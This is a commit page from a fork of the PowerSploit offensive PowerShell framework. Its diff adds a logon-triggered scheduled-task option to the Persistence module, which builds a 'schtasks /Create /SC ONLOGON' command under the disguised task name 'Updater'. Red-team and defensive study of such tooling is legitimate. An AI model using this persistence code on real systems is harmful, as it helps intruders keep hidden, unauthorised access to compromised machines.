Gh0st
/
PowerSploit
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Merge 8690399ef7 into d943001a7d

This commit is contained in:
0xdeadbeefJERKY 2020-09-15 06:07:37 +00:00 committed by GitHub
parent d943001a7d 8690399ef7
commit 83e94083c9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 7 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
Persistence/Persistence.psm1
View File

@ -258,6 +258,7 @@ http://www.exploit-monday.com
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
[Switch] [Switch]
$ScheduledTask, $ScheduledTask,
@ -282,6 +283,7 @@ http://www.exploit-monday.com
$OnIdle, $OnIdle,
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )] [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
[Switch] [Switch]
$AtLogon $AtLogon
) )
@ -655,6 +657,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
switch ($UserPersistenceOption.Trigger) switch ($UserPersistenceOption.Trigger)
{ {
'AtLogon'
{
$UserTrigger = "schtasks /Create /SC ONLOGON /TN Updater /TR "
}
'Daily' 'Daily'
{ {
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR " $UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "